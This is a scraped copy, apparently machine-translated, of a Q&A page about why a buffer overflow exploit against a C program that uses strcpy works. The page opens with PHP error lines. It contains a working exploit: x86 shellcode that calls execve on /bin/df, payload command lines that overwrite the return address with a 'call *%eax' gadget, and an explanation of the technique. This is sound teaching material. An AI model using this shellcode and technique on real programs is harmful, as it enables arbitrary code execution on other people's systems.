Warning: file_get_contents(/data/phpspider/zhask/data//catemap/4/c/71.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
如何在C语言中解释此缓冲区溢出漏洞_C_Debugging_Assembly_Buffer Overflow - Fatal编程技术网

如何在C语言中解释此缓冲区溢出漏洞

如何在C语言中解释此缓冲区溢出漏洞,c,debugging,assembly,buffer-overflow,C,Debugging,Assembly,Buffer Overflow,鉴于此C程序: #include <stdio.h> #include <string.h> int main(int argc, char **argv) { char buf[1024]; strcpy(buf, argv[1]); } 给定shell代码: EGG=$(printf '\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x

鉴于此C程序:

#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {
  char buf[1024];
  strcpy(buf, argv[1]);
}
给定shell代码:

EGG=$(printf '\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/df')
可通过以下命令利用该程序:

./prog $EGG$(python -c 'print "A" * 991 + "\x87\x83\x04\x08"')
./prog $EGG$(python -c 'print "A" * 991 + "\x0f\x84\x04\x08"')
我从哪里得到地址的:

$ objdump -d prog | grep call.*eax
 8048387:   ff d0                   call   *%eax
 804840f:   ff d0                   call   *%eax
P.>我理解了“代码> AAAA中间的填充物的含义,根据程序中的<代码> BUF < /代码>长度和<代码> $WAG/<代码>的长度计算了991。

我不明白的是,为什么这些带有
call*%eax
的地址会触发执行复制到
buf
开头的外壳代码。据我所知,我正在用
0x8048387
(或另一个)覆盖返回地址,我不明白的是为什么这会导致跳转到外壳代码


我是通过阅读才做到这一点的。但是本文使用了另一种猜测相对地址的方法来跳转到外壳代码。我不明白为什么这个更简单的替代解决方案可以工作,没有猜测。

strcpy的返回值是目的地(
buf
,在本例中),它是使用register
eax
传递的。因此,如果在
main
返回之前没有任何东西破坏
eax
,则
eax
将保留指向shell代码的指针

$ objdump -d prog | grep call.*eax
 8048387:   ff d0                   call   *%eax
 804840f:   ff d0                   call   *%eax